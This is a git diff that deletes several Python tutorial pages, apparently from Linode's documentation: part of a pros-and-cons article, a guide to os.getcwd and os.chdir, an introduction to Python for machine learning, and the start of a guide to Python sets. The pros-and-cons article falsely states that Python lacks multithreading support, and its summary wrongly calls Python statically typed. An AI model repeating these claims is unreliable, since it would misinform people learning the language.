can almost be considered a new programming paradigm. Python promotes flexibility and clear coding design, and code adhering to its principles is said to be "Pythonic". Here are some of Python's main characteristics. - -- **Python is a High-Level Language**: High-level languages are more readable. They use meaningful variable names, and have meaningful syntax. No understanding of the underlying operating system is required. In this respect, Python is similar to other programming languages, including JavaScript, Rust, and C++, but is even more clear and legible. At the opposite end of the spectrum is assembly language. Assembly code refers to memory addresses and uses machine language instructions. -- **Python Supports Object-Oriented Programming (OOP)**: Python is an OOP language with support for classes, methods, inheritance, and encapsulation. Unlike Java, Python does not enforce an OOP model and object-oriented design principles are strictly optional. So it is possible to use Python strictly in imperative/procedural mode for short programs and simple utilities. Python now incorporates some features from the functional programming paradigm, but it is not considered a true functional programming language. -- **Python is a General-Purpose Language**: Domain-specific languages are intended for one specific purpose. For example, SQL is only used to communicate with relational database systems. However, Python is a general-purpose language, and has a wide range of applications. -- **Python is an Interpreted Language**: Unlike many languages, developers do not have to compile Python into assembly or machine code. When a developer completes a program, they can immediately run it with no intermediate steps. The Python interpreter deciphers each line at run time and executes it. This is different from languages like C/C++, which must be pre-compiled first. Python does have a compilation stage, but it takes place at run time and is hidden from the user. Python compiles a program down to low-level *bytecode* for the *Python Virtual Machine* (PVM) to interpret and execute. -- **Python is Dynamically-Typed**: Variables do not have to be assigned a type, such as "integer", when they are first used. Python determines the type of variable at run time. Python uses a technique known as "duck typing". It assigns a type to a variable depending on its value and how it is used. Python allows a variable to change type dynamically over the duration of the program. -- **Python Programs are Platform-Independent**: Because Python programs are interpreted, they can be ported to any platform. Only the Python Virtual Machine is platform-specific. It translates the Python code into valid machine code for the platform it is running on. - -## Pros and Cons of Python - -Python is a very distinctive language that has both pros and cons. It is great for certain situations and not as good for others. This section highlights both the advantages and disadvantages of Python. - -### Advantages of Python - -Python has become widely used and well liked due to a cluster of positive attributes. Here are some of the benefits of Python. - -- **Ease of Use**: Python has a simple, concise, and straightforward syntax. A Python program looks a lot like plain English and is highly readable. This makes Python programs easy to read and debug. Python's control structures are intuitive and easy to use. In addition, Python is dynamically typed, so there is no requirement to declare the type of each variable. For these reasons, Python is one of the most efficient and productive languages. -- **Gentle Learning Curve**: Python is one of the simpler languages to learn and is a good option for people learning to program. Programmers switching to Python from languages like C or Java can quickly reach peak efficiency. The Python package contains a useful *Integrated Development and Learning Environment* (IDLE). -- **Versatility**: Python is a flexible, general purpose language that fully supports both procedural and object-oriented programming. Due to its built-in and third-party packages, it is suitable for a wide range of tasks. It is dominant in the areas of data science and machine learning. It is also widely used for back-end web development and the *Internet of Things* (IoT). Even when it is not the best choice for a particular task, it is usually still a viable option. In addition, Python code can be embedded into projects written in other languages, such as C++, and code from other languages can be embedded in Python. -- **Efficient for Rapid Development**: Because Python is easy to use and does not have to be compiled, programs take less time to develop. Python programs are typically much shorter than equivalent programs in other languages. It is a great choice for quickly constructing prototypes in a rapid software development environment. -- **True Portability**: A huge Python advantage is that it can be written once and run anywhere. Python does not have to be compiled in advance, so users run a true Python program and not a Python executable. The program is not compiled until it is run, using the platform-specific PVM. This means any Python program can potentially run on any system that supports Python. -- **No Compile Process**: Python is an interpreted language and programs are automatically compiled at run time. A program can be run as soon as it is written. There is no separate compiler, no time-consuming compilation step, and no opaque compiler errors. Python programs are easy to write, debug, and change incrementally. -- **Automatic Memory Allocation**: Python does not have pointers and developers do not have to assign free space in memory. Python allocates memory automatically and a garbage collector recycles memory from discarded objects. This means developers do not have to worry about scribblers, memory leaks, invalid pointer references, or the size of each object. -- **Extensive Built-In Objects and Libraries**: Python has a large number of built-in compound objects including lists, sets, and record-like dictionaries. Each of these objects provides a collection of methods allowing for easy processing. In addition, Python has an extensive library containing tens of thousands of functions. These packages can be used for network communications, web integration, data processing, and hardware interactions. This makes it much faster to write programs because so many of the necessary routines have already been written. -- **Third-Party Library Availability**: In addition to Python's extensive built-in library, developers can access many free external libraries. These third-party libraries are easy to import and install using Python's `pip` package manager. Packages can be downloaded from the [Python Package Index (PyPI) repository](https://pypi.org/). PyPI also allows developers to publish their own packages. -- **Open Source and Free to Use**: All Python releases are available for free under an open source license. Python can even be modified and re-distributed at no cost. This greatly reduces development costs. For more information about Python licensing, see the [Python documentation site](https://docs.python.org/3/license.html). -- **Large User Base**: Python has a large, active, and passionate community of users. It is easy to find learning materials and other resources, ask questions, search for jobs, hire additional developers, and meet other Python programmers. - -### Disadvantages of Python - -Despite its many advantages, Python also has a few notable disadvantages. Here are some of the drawbacks of Python. - -- **Not Very Fast**: Python is much slower than more efficient languages like C and Java. Python is interpreted and dynamically-typed, so the run-time compiler has a lot of work to do. It must constantly validate the type of each variable. This means Python is not the best choice for scenarios where speed is critical. -- **Memory Intensive**: Python is not optimized to reduce memory. It can use ten times the RAM as a program written in a more frugal language. However, this is partly a tradeoff in return for flexibility and ease of use. In addition, the Python garbage collector cannot gather all discarded resources immediately, which reduces the amount of available memory. Python is not a good choice for memory-constrained environments. -- **Harder to Avoid Runtime Errors**: Python is not compiled until runtime and is dynamically typed. Therefore, many problems that would otherwise be caught by the compiler do not appear until the program runs. This might include something as simple as a syntax error, but it can include problems like trying to add an integer and a string together. -- **Not Much Traction in Mobile or Desktop Applications**: Because it is somewhat slow and uses a lot of memory, Python has not made gains in the mobile space. There are some Python development tools for mobile apps, but they are more limited than frameworks for other languages. The situation is a bit better in client desktops, but Python is still not too popular for front-end applications. -- **Not Optimized for Database Access**: It is more difficult to work with databases in Python than in some other applications. Python lacks a powerful, high quality, easy-to-use interface like the Java Database Connectivity (JDBC). It can still be used if the database reads and writes are relatively straightforward. But it is not the best choice for applications that have complex interactions with a large corporate database. -- **No Multithreading Support**: Due to its architecture, Python does not support multi-threading. Instead, it uses multiprocessing, where each "thread" runs in a separate Python process. This relies on the oversight of the operating system to schedule and balance the processes, and might not deliver equally good results. -- **Prone to Overuse or Misuse**: Python's simplicity is one of its strengths, but this can be a surprising weakness in some situations. Because it is so easy to use, it is often misused for tasks where it is not one of the best alternatives. Python is great for rapid development and prototypes, but this might tempt organizations to overlook proper software development principles. - -## Should You Learn Python? - -After reading about the pros and cons of Python, you might still be uncertain whether it is worth learning. On one hand, there are always benefits to learning a new language. But there are at least a dozen other popular languages, so there are also opportunity costs. - -Nonetheless, there are some situations where Python is the right choice. There are benefits to learning Python if any of the following statements apply. - -- **You are Using Agile Development**: Python is simple and concise, and it can be used to quickly work out a proof of concept or a trial prototype. Python's extensive library reduces the number of helper functions to write. It is easy to be fast and productive in Python. -- **You Work in Data Science or AI**: Python is especially strong in the areas of data science and machine learning. There are many external libraries available for these areas and a strong user base. For machine learning or natural language processing, [TensorFlow](https://www.tensorflow.org/) and [PyTorch](https://pytorch.org/) can be used. [NumPy](https://numpy.org/) and [SciPy](https://scipy.org/) are frequently used for data science or scientific computing. -- **You Require Portable Tools**: Python is a sensible choice for multi-platform utilities. Python is available for Linux, Windows, MacOS, and other popular platforms. It is compiled at run time, so the program can run anywhere on an interpreter optimized for the underlying operating system. -- **You Require Test Automation or DevOps Scripts**: Python is great for scripting because it is so quick and easy to write, modify, and debug. Speed and memory use are typically not of much concern in a QA environment, so there are no real downsides. Python has a built-in test library named [PyUnit](https://wiki.python.org/moin/PyUnit). PyUnit integrates smoothly with most test frameworks including `pytest`. On the DevOps side, Python forms the backbone of many configuration management programs. -- **You Require a Back-End for Web Applications**: Along with the popular Flask or Django frameworks, Python can provide the server-side engine for web applications. The frameworks provide libraries and templates for most web design tasks. -- **You Want a Free and Open Source Language**: Python is free to download, use, and modify under a versatile open source license. Python reduces development costs and makes it easy to upgrade to new releases. -- **You Want a Fun and Easy to Learn Language**: Python has an easy and straightforward syntax. It is a great choice for beginners who are learning how to program. It is also advantageous for professionals who want to dive into development without worrying about fussy programming details. Python's extensive libraries allow developers to solve problems at a high-level without writing complex low-level routines. -- **You Want a Large Developer Community**: Python is one of the most popular general-purpose languages. It is versatile and used in a wide number of specialties, so companies are always looking for developers. Google, Facebook, Microsoft, Spotify, Instagram, and Uber all use Python for at least some applications. Python is also a popular development language in start-ups. - -It is easy to start using Python. A good place to begin is the [Python Beginner's Guide](https://wiki.python.org/moin/BeginnersGuide). The Python Wiki also has a list of tutorials and resources for [New](https://wiki.python.org/moin/BeginnersGuide/NonProgrammers) or [Experienced Programmers](https://wiki.python.org/moin/BeginnersGuide/Programmers). - -To run Python on Ubuntu or another Linux distribution, use the command `python3`. Python is usually already installed on most Linux systems. To download Python for other platforms, see the [Python downloads page](https://www.python.org/downloads/). For more information about how to use Python on a Linode system, see the [Linode guide to Python](/cloud/guides/how-to-install-python-on-ubuntu-20-04/). - -### Alternatives to Python - -For situations where Python is not the best choice, consider the following options. - -- **C/C++**: These two languages are strong choices when speed, performance, and low memory use are important. They are statically typed and require pre-compilation, so they generate fewer runtime errors. They are often used in game development and embedded systems. Unfortunately, they are considered difficult languages to master. -- **JavaScript**: Like Python, JavaScript is an interpreted and dynamically-typed language. However, it is the most common language for interactive web pages. JavaScript runs on the client side, and interacts seamlessly with HTML and CSS components. It can be used alongside Node.js for full stack web development. Python is not typically used on the front end, so it is not a good full stack alternative. -- **R**: R is an alternative to Python for data science. However, it is more geared toward statistical analysis. R is particularly good for data visualization, but it is more complicated and difficult to learn. Python is a simpler and faster option for general purpose data and numerical analysis and has better machine learning capabilities. - -## A Summary of the Pros and Cons of Python - -This guide discusses the pros and cons of Python, which is more effective in some situations than others. Python is an interpreted, statically-typed programming language that allows both object-oriented and procedural programming. Some of the main benefits of Python include its ease of use, concise and straightforward syntax, and vast libraries. Other Python advantages are its portability, versatility, large user base, and free & open source license. - -Some of the disadvantages of Python include its slow speed and heavy memory usage. It also lacks support for mobile environments, database access, and multi-threading. However, it is a good choice for rapid prototyping, and is widely used in data science, machine learning, and server-side web development. For more information about Python, see the [official Python site](https://www.python.org/). \ No newline at end of file diff --git a/docs/guides/development/python/python-get-current-directory/index.md b/docs/guides/development/python/python-get-current-directory/index.md deleted file mode 100644 index f08d7c7604a..00000000000 --- a/docs/guides/development/python/python-get-current-directory/index.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -slug: python-get-current-directory -title: "How to Get the Current Directory in Python" -title_meta: "A Guide to Paths in Python: Get Working Directory" -description: 'This guide provides information on how to retrieve the current working directory in Python using the os module. It covers the os.getcwd() function and provides sample code to demonstrate its usage.' -authors: ["Martin Heller"] -contributors: ["Martin Heller"] -published: 2023-06-12 -keywords: ['python change working directory', 'python get current directory', 'python change directory', 'change directory python'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -Programs often need to look for, read, and write specific files in a special location. By convention, and with support from the operating system, programs maintain a current working directory used as the context for many of their files. There may also be fixed directories and files that are special to the program, such as the configuration files for editors and IDEs. - -## What is the Current Working Directory? - -In most operating systems, a directory is a container for files, and possibly for other directories, called subdirectories. In Unix-like systems, directories are treated as a special kind of file. - -Files contain data and/or code. In Unix-like systems, files can have special bits in their permissions that mark them as executable. In Windows systems, the file type determines whether a file is executable. - -Folders might seem like they are synonymous with directories, but they are usually considered the graphical representation of directories rather than the directories themselves. Paths are strings that describe the locations of directories and files in the context of the operating system’s file system. Paths can be absolute, or relative. - -The current working directory (CWD) associates a specific directory with a program and makes that directory the default location for all file operations. When a program reads or writes a file without specifying a directory in the path, it looks for the file in the current working directory. If the program specifies a relative path, such as `../my_file`, the path is calculated relative to the current working directory, in this case specifying the directory above the CWD. If the program specifies an absolute path, such as `/usr/bin/python3`, the CWD does not enter into the calculation of the location. - -The current working directory is independent of the executable file’s location. - -## How to Get and Change the Current Directory in Python - -Python programs share the operating system’s idea of the CWD with all other programs, even though Python as a whole is a system-agnostic language. Python has a module, `os`, that provides a portable way of using operating system-dependent functionality, and within that module, each system’s version of Python has an appropriate implementation for that system. - -### How to Get the Current Working Directory - -To get the current working directory in Python, import the `os` module and call the `os.getcwd()` method. Here’s an example: - -```output -Python 3.9.7 (default, Sep 3 2021, 09:29:02) -[GCC 9.3.0] on linux -Type "help", "copyright", "credits" or "license" for more information. ->>> import os ->>> cwd = os.getcwd() ->>> print(cwd) -``` - -In the example above, the `os.getcwd()` method returns a string representing the current working directory. - -### How to Change the Current Working Directory - -To change the current working directory in Python, import the `os` module and call the `os.chdir()` method. Here’s an example: - -```output -Python 3.9.7 (default, Sep 3 2021, 09:29:02) -[GCC 9.3.0] on linux -Type "help", "copyright", "credits" or "license" for more information. ->>> import os ->>> current_dir = os.getcwd() ->>> print("Current working directory:", current_dir) -Current working directory: /home/user ->>> os.chdir("my_directory") ->>> new_dir = os.getcwd() ->>> print("New current working directory:", new_dir) -New current working directory: /home/user/my_directory -``` - -#### Change the current working directory to the path - -The `os.fchdir()` is a method that can support specifying a file descriptor in Python. This method changes the current working directory to the directory associated with a given file descriptor. The file descriptor must refer to an opened directory, not an open file. - -The `os.fchdir()` method can raise `OSError` and its subclasses such as `FileNotFoundError`, `PermissionError`, and `NotADirectoryError`. Some possible reasons for `OSError` being raised include: - -- The specified file descriptor is not valid -- The specified file descriptor does not refer to a directory -- The process does not have permission to access the directory associated with the file descriptor -- The directory associated with the file descriptor has been removed while the file descriptor was still open - -In Python 3.6 and later versions, the `os.chdir()` method was updated to accept a path-like object as its argument in addition to a string representing the directory path. - -Following is an example that uses a path-like object to set the current working directory: - -```output -Python 3.9.7 (default, Sep 16 2021, 13:09:58) -[Clang 13.0.0 (clang-1300.0.29.3)] on darwin ->>> import os ->>> os.getcwd() -'/Users/myuser' ->>> os.chdir("..") ->>> os.getcwd() -'/Users' ->>> os.chdir("~/Pictures") -Traceback (most recent call last): - File "", line 1, in -FileNotFoundError: [Errno 2] No such file or directory: '~/Pictures' -``` - -From the above code, although the `~/Pictures` directory exists, changing to it works in the shell: - -```command -(base) username@hostname ~ % cd ~/Pictures -(base) username@hostname Pictures % -``` - -But, in Python, the expansion of `~` to the home directory path does not happen. When you try to change the current working directory to `~/Pictures`, Python interprets it as a literal string with `~` as a character and `Pictures` as a directory name and tries to change the working directory to a directory named `~` in the current directory, which does not exist. - -{{< note noTitle=true >}} -The directory path conventions are different on Windows, where you see back-slashes for directory separators and letter disk descriptors in the shell and file manager. For example, `c:\Users\User\Documents`. In Python, you still use forward slashes for directory separators. The forward slashes are converted to back slashes inside the os module to interact with the Windows operating system. -{{< /note >}} - -To resolve the `FileNotFoundError` above, use the `os.path.exists()` method as shown in the example below. This method finds out whether a path exists or not before attempting to open or access it. - -```output -Python 3.9.12 (main, Apr 5 2022, 01:53:17) -[Clang 12.0.0 ] :: Anaconda, Inc. on darwin -Type "help", "copyright", "credits" or "license" for more information. ->>> import os ->>> os.path.exists("~/Pictures") -False ->>> os.path.exists("./Pictures") -True ->>> os.getcwd() -'/Users/myuser' -``` - -From the above Python example, the `os.path.exists(path)` method returns `True` if the specified path exists and `False` for broken symbolic links. The method internally uses `os.stat()` to check for the existence of the file or directory, and `os.stat()` requires read and execute permissions on the file or directory. Hence, on some platforms, even if the file, or directory exists physically on the system, the method may return `False` due to permission issues. - - -## Conclusion - -As you see, you can get the current working directory in Python by importing the `os` module and calling the `os.getcwd()` method. You can change the working directory using the `os.chdir()` method, and you can test whether a path, either directory, or file, exists using the `os.path.exists()` method. diff --git a/docs/guides/development/python/python-ml/index.md b/docs/guides/development/python/python-ml/index.md deleted file mode 100644 index fe211d867f8..00000000000 --- a/docs/guides/development/python/python-ml/index.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -slug: python-ml -title: "Python in ML: Why You Should Use Python for Machine Learning" -title_meta: "Python Programming, Machine Learning, and AI" -description: 'This introduction to Python in ML and AI defines each one, examines their differences and discusses why Python is good for machine learning. ✓ Learn more!' -authors: ["John Mueller"] -contributors: ["John Mueller"] -published: 2021-12-03 -keywords: ['ai python code','python for ai','why is python used for machine learning'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -*Artificial Intelligence* (AI), the appearance or simulation of human intelligence within a machine, is popular today because it can solve a huge number of problems within specific categories using well-known algorithms. Machine Learning (ML) is a sub-category of AI that depends on large datasets to affect the computations of algorithms to allow a generalized result that an application can apply to unseen data. In other words, ML provides an experience-based method to use AI techniques to solve problems realistically. Python ML features handle the required amounts of data effectively, and offer access to a broad range of algorithms using libraries like scikit-learn and SciPy to solve the various ML problem categories. Python’s capabilities deliver in a manner that is understandable in AI Python code, and which reduces the learning curve that most developers face. - -## Python, AI, and Machine Learning - -It’s possible to divide AI into two general areas: applied, where the AI solves a specific problem like assembly line control or trading stocks, and generalized; where the AI gains experience through various means in the form of algorithm augmentation. Python ML is part of the generalized AI branch and requires the use of sufficient amounts of data to train the algorithm. This process uses example data to change the calculations of an algorithm to solve general problems. When using Python for AI, it’s possible to reduce training time using a GPU by adding library support for libraries like Keras and TensorFlow. After training, you can configure a Python ML solution to continue learning so the solution becomes increasingly better at performing a task over time. ML is currently used in: - -- Fraud detection -- Resource scheduling -- Complex analysis -- Automation -- Customer service -- Safety systems -- Machine efficiency -- Access control -- Predicting wait times - -There are more ML applications. The one thing that’s striking about most of them is that they’re mundane in nature. The applications that ML is best at solving are repetitive, not very exciting, and generally things that humans wouldn't want to do anyway. The ability of Python ML to speed calculations along is the reason why Python is used for machine learning applications. - -## Why is Python Good for ML? - -The easiest way to discover why Python is good for ML is to test it. Even if you can’t follow along in this section, you can see that using Python for ML is not difficult to implement by reading through the steps. - -1. [Install a copy of Python if necessary](https://docs.python.org/3/using/unix.html#getting-and-installing-the-latest-version-of-python). Check the installation by typing `python --version` and press **Enter**. The output shows the Python version number. - -1. [Install a copy of scikit-learn](https://scikit-learn.org/stable/install.html), if necessary. Check the installation by typing `pip show scikit-learn` and press **Enter**. The output shows the scikit-learn version. The [scikit-learn package](https://scikit-learn.org/stable/) is one of the essentials for machine learning because it provides data analysis capability. - -1. Open the Python interpreter by typing python and press **Enter** in a terminal window. The Python prompt appears. - -1. Type `from sklearn.datasets import load_iris` and press **Enter**. This English-like syntax imports a specific function, `load_iris()`, from the `sklearn.dataset` namespace. Python doesn't make it hard to find datasets for testing. The [scikit-learn package](https://scikit-learn.org/stable/datasets/toy_dataset.html) provides several datasets and if these aren’t enough, it’s possible to find [repositories for just about every other need](https://towardsdatascience.com/data-repositories-for-almost-every-type-of-data-science-project-7aa2f98128b). - -1. Type `data = load_iris()` and press **Enter**. The variable data now contains the iris dataset. No other language makes it nearly as straightforward to load data for testing and experimentation purposes. Using known datasets for testing and experimentation corrects errors in your code. - -1. Type `print(data.data.shape)` and press **Enter**. The size of the iris dataset, 150 rows by 4 columns, appears. Learning about the content of datasets and manipulating them in all the ways needed for machine learning, are fortes of Python. - -1. Type `quit()` and press **Enter**. The Python session ends. When you experiment with the iris dataset and discover more about it, it’s clear why you want Python for your machine learning needs. - -## Is Python Better Than Other Languages for ML? - -No single language is ultimately better than another overall. Languages have strengths in certain areas and Python has more than its share. R is Python’s major competitor in the ML arena. Compared to R, Python provides a complete language you can use for experimentation, modeling, and production systems. In addition, Python’s library offerings are more business and research-oriented than R’s. However, R holds a significant advantage in statistics, and some might say that its graphics libraries are better than Python’s for research purposes. Other popular languages used for machine learning are: - -- **Java/JavaScript**: Is used extensively in business environments, so business developers feel comfortable using it. - -- **Julia**: Provides high-performance numerical analysis and computation for large, complex computation-intensive problems. - -- **LISP**: Considered the most efficient and flexible ML language for solving specific problems, rather than creating a generalized result. - -Each language has advantages and disadvantages. Python outshines them in the general creation of ML applications. In addition, Python has a high appeal according to the [Tiobe index](https://www.tiobe.com/tiobe-index/), which provides a measure of overall language popularity. The use case scenario driving this popularity is ML, where [57 percent](https://linuxiac.com/python-the-most-popular-programming-language/) of data scientists and ML developers use it as their primary language. - -## Conclusion - -AI and ML are complex topics that require attention to detail to obtain a good result. Even if you choose to use another language for development, Python is the best choice for learning about both AI and ML because it’s not difficult to use and you can accomplish much, with little code. Fortunately, experimentation is available using Linode. Using the smallest Linode, you can create a Python setup in minutes and start experimenting the same day. Consequently, using Python saves time, money, and effort when you need to gain entrance to the most important new technologies today. diff --git a/docs/guides/development/python/python-sets/index.md b/docs/guides/development/python/python-sets/index.md deleted file mode 100644 index 6b0ba900cba..00000000000 --- a/docs/guides/development/python/python-sets/index.md +++ /dev/null @@ -1,552 +0,0 @@ ---- -slug: python-sets -title: "Getting Started with Python Sets and Python Set Operations" -title_meta: "Introduction to Python Sets and Python Set Operations" -description: "Learn what Python sets are and how to use them. Our comprehensive guide covers essential Python set operations like union, intersection, and difference." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2023-04-23 -keywords: ['python sets', 'python sets intersection', 'python sets operations'] -tags: ['python'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Python Documentation: Built-in Types — Set Types](https://docs.python.org/3/library/stdtypes.html#set-types-set-frozenset)' -- '[W3 Schools: Python Sets](https://www.w3schools.com/python/python_sets.asp)' -- '[Toward Data Science: 10 Things You Should Know About Sets in Python](https://towardsdatascience.com/10-things-you-should-know-about-sets-in-python-9902828c0e80)' -- '[Programniz: Python Sets](https://www.programiz.com/python-programming/set)' -- '[GeeksforGeeks: Sets in Python](https://www.geeksforgeeks.org/sets-in-python/)' ---- - -Pythons sets are unordered collections modeled on mathematical sets, in which elements are unique. Python sets support the logical operations of mathematical sets, like union, intersection, and difference. This example code declares a new set and adds the elements of a second set to it, showing that the updated set contains unique elements: - -```file {lang="python"} -example_set = {1, 3, 5, 7} - -example_set.update({1, 2, 3, 4}) - -print(example_set) -``` - -```output -{1, 2, 3, 4, 5, 7} -``` - -This guide explains: - -- [What Python sets are](#what-are-sets-in-python) and what kinds of elements they can contain - -- [How to fetch an element from a Python set](#fetch-from-a-set), check if an element exists in a set, and iterate through the elements of a set. - -- [How to create a Python set](#create-a-python-set) with set literals, the `set()` constructor function, and the set comprehension syntax. - -- [How to add elements to and remove elements from Python sets](#modify-a-set) - -- [How to combine sets](#combine-sets) with the union, intersection, difference, and symmetric difference Python set operations. - -- [How to compare Python sets](#checking-python-set-relationships) with the subset, superset, and disjoint relationships. - -## What Are Sets in Python? - -In Python, a set is an unordered, mutable collection of unique elements. Mathematical set operations like union, intersection, and difference can be performed on them. Two different sets can be compared with the subset, superset, and disjoint relations. - -This example set uses the *set literal* syntax and contains the even integers between 2 and 8: - - {2, 4, 6, 8} - -Sets can contain elements of different types. This set contains some integers and some strings: - - {2, "hello", 4, "world"} - -The members of a set must be *[hashable](https://docs.python.org/3/glossary.html#term-hashable)*. Hashable objects are generally *[immutable](https://docs.python.org/3/glossary.html#term-immutable)*. Hashable objects must implement the [`__eq__()` method](https://docs.python.org/3/reference/datamodel.html#object.__eq__), so two different hashable objects and can be compared to check if they are equal in value to each other. For example, two string objects can be compared to check if they are the same string. - -{{< note >}} -Technically, a hashable object's `__hash__()` function must always return the same value for the lifetime of the object, rather than the object itself being immutable. [This blog post](https://inventwithpython.com/blog/2019/02/01/hashable-objects-must-be-immutable/) describes why, in practice, hashable objects used with sets are also immutable. -{{< /note >}} - -Integers and strings are built-in Python types that are hashable and can be stored in a set. Mutable container types like lists, dictionaries, and sets are not hashable, because their contents can change. A [Python tuple](/cloud/guides/python-tuples/) is hashable if each of its values is hashable. - -## Create a Python Set - -Python provides a few ways to create sets: - -- A Python set can be declared with the *set literal* syntax. A set literal consists of a comma-separated list of unique, hashable objects wrapped in curly braces. - - ```file {lang="python"} - example_set = {2, 4, 6, 8} - ``` - - An empty set cannot be expressed with the set literal syntax. An empty pair of curly braces `{}` represents an empty [Python dictionary](/cloud/guides/python-3-dictionaries/). Use the `set()` constructor (below) to create an empty set. - -- The [`set()` constructor function](https://docs.python.org/3/library/stdtypes.html#set) accepts a Python list (or any other [iterable](https://docs.python.org/3/glossary.html#term-iterable) object) as input and returns a set with unique values from the list. The items in the input list/iterable must be hashable. - - ```file {lang="python"} - example_set = set([2, 4, 6, 8, 8, 6, 4, 2]) - print(example_set) - ``` - - ```output - {8, 2, 4, 6} - ``` - - If no argument is passed to the constructor function, an empty set is created: - - ```file {lang="python"} - example_set = set() - print(example_set) - ``` - - ```output - set() - ``` - -- Like the `set()` constructor function, the [*set comprehension* syntax](https://docs.python.org/3.0/tutorial/datastructures.html?highlight=comprehension#sets) can be used to construct a set from another iterable. A set comprehension allows you to apply an expression to the elements of the iterable before they are added to the new set. A condition can also be enforced on the members of the iterable before they are included in the new set. - - The general syntax for using a set comprehension is: - - ```file {lang="python"} - { for in if } - ``` - - This example creates a set of all the even numbers from a list of even and odd integers: - - ```file {lang="python"} - even_integers_set = { x for x in [1, 2, 3, 4, 5] if x % 2 == 0 } - print(even_integers_set) - ``` - - ```output - {2, 4} - ``` - - This example multiplies the even integers by 2 when adding them to the new set: - - ```file {lang="python"} - double_even_integers_set = { x*2 for x in [1, 2, 3, 4, 5,] if x % 2 == 0 } - print(double_even_integers_set) - ``` - - ```output - {8, 4} - ``` - -## Python Set Operations - -The operations for Python sets differ from those available for lists and arrays. Lists and arrays are ordered collections, while the elements in a set are unordered. As a result, the methods for accessing elements and adding elements are different between sets and lists/arrays. As well, the mathematical operations of Python sets are not available for lists and arrays. - -{{< note >}} -The Linode docs library has guides for learning about Python lists and arrays: - -- [Python Lists and How to Use Them](/cloud/guides/python-lists-and-how-to-use-them/) -- [Python Arrays: What They Are and How to Use Them](/cloud/guides/python-arrays/) -{{< /note >}} - -## Fetch from a Set - -Because Python sets are unordered, elements cannot be accessed based on an index into the set. Instead, elements can be accessed using the `pop` method. This method returns an arbitrary value from the set while. **Note that the returned item is removed from the set.** - -```file {lang="python"} -example_set = {"a", 2, "c", 4, "b", 6} - -popped_element = example_set.pop() -print(popped_element) -print(example_set) -``` - -```output -2 -{'b', 4, 6, 'c', 'a'} -``` - -You can check if a value exists in a set by using Python's `in` operator. Expressions with this operator return `True` if the provided value is found in the set: - -```file {lang="python"} -example_set = {"a", 2, "c", 4, "b", 6} -if 4 in example_set: - print("Match found!") -``` - -```output -Match found! -``` - -{{< note >}} -Python sets are implemented with a form of [hash table](https://en.wikipedia.org/wiki/Hash_table), so checking if a value exists within a set is an efficient operation. In comparison, to check if an value exists in a list or array, the list/array must be looped through or sorted. -{{< /note >}} - -Like lists and arrays, Python sets can be looped through. Use a `for` loop to iterate through the elements in a set: - -```file {lang="python"} -example_set = {"a", 2, "c", 4, "b", 6} -for item in example_set: - print(item) -``` - -```output -2 -c -b -4 -6 -a -``` - -As an alternative to using the `pop` method, a `for` loop with a `break` statement can be used to retrieve an arbitrary value from a set. By doing this, the value is not removed from the set (unlike with the `pop` method, which does remove the value): - -```file {lang="python"} -example_set = {"a", 2, "c", 4, "b", 6} -for value in example_set: - break - -print(value) -print(example_set) -``` - -```output -2 -{2, 'c', 'b', 4, 6, 'a'} -``` - -## Modify a Set - -Python sets are *mutable*, meaning items can be added to and removed from them as needed. - -### Add an Element to a Set - -To add an element to a Python set, use the `add` method. The `add` method accepts a single new element to add to the set: - -```file {lang="python"} -example_set = {"this", "is", "a"} -example_set.add("set") -print(example_set) -``` - -```output -{'a', 'this', 'is', 'set'} -``` - -If the new element is already in the set, then the `add` method has no effect: - -```file {lang="python"} -example_set = {"this", "is", "a", "set"} -print(example_set) -example_set.add("set") -print(example_set) -``` - -```output -{'a', 'this', 'is', 'set'} -{'a', 'this', 'is', 'set'} -``` - -### Add Multiple Elements to a Set - -To add multiple values to a set at the same time, use the `update` method. The `update` method takes one (or more) Python iterables (lists, arrays, sets) as arguments. The `update` method adds any values that are not already in the set. Only unique values are added to the set. - -This example adds elements from a list to a set: - -```file {lang="python"} -example_set = {1, 3, 5, 7} -example_set.update([1, 2, 3, 4]) - -print(example_set) -``` - -```output -{1, 2, 3, 4, 5, 7} -``` - -Multiple arguments can be passed to `update`. This example passes two arguments: a list and another set. The elements from the list and the other set are added to the original set: - -```file {lang="python"} -example_set = {1, 3, 5, 7} -example_set.update([1, 2, 3, 4], {'a', 'b', 'c'}) - -print(example_set) -``` - -```output -{1, 2, 3, 4, 5, 7, 'b', 'a', 'c'} -``` - -Individual new elements can also be passed as arguments. This example adds elements from a list and three individual elements to a set: - -```file {lang="python"} -example_set = {1, 3, 5, 7} -example_set.update([1, 2, 3, 4], 'a', 'b', 'c') - -print(example_set) -``` - -```output -{1, 2, 3, 4, 5, 7, 'b', 'a', 'c'} -``` - -### Remove an Element from a Set - -In the [Fetch from a Set](#fetch-from-a-set) section, the `pop` method was demonstrated, which removes an arbitrary element from a set. Python sets also have two methods for removing specific values: - -The `remove` method accepts an element to be removed from the set: - -```file {lang="python"} -example_set = {1, 3, 5, 7} -example_set.remove(3) -print(example_set) -``` - -```output -{1, 5, 7} -``` - -If the value that is passed is not in the set, then a `KeyError` is thrown: - -```file {lang="python"} -example_set = {1, 3, 5, 7} -example_set.remove(2) -``` - -```output -Traceback (most recent call last): - File "", line 1, in -KeyError: 2 -``` - -The `discard` method works like the `remove` method, but it does not throw an error when the passed value is missing from the set: - -```file {lang="python"} -example_set = {1, 3, 5, 7} -example_set.discard(1) -example_set.discard(2) # no KeyError is thrown - -print(example_set) -``` - -```output -{3, 5, 7} -``` - -## Combine Sets - -One of the benefits of Python sets is their ability to use mathematical set operations like union, intersection, and difference. The next sections cover each of the logical operations available for Python sets. These operations can be implemented using either a method call or an operator, both of which are shown. - -The examples that follow use two example sets: - -```file {lang="python"} -mammal_set = {"wolves", "giraffes", "anteaters", "armadillos"} -insectivore_set = {"frogs", "lizards", "anteaters", "armadillos"} -``` - -`mammal_set` is a set of four mammals and `insectivore_set` is a set of four insectivores (animals that eat insects). - -### Python Set Union - -The *union* of two different sets is a new set that includes all of the contents of the constituent sets. - -In the Venn diagram below there are two overlapping circles, corresponding to the `mammal_set` and `insectivore_set` sets. The shaded green area represents the union of the `mammal_set` and `insectivore_set` 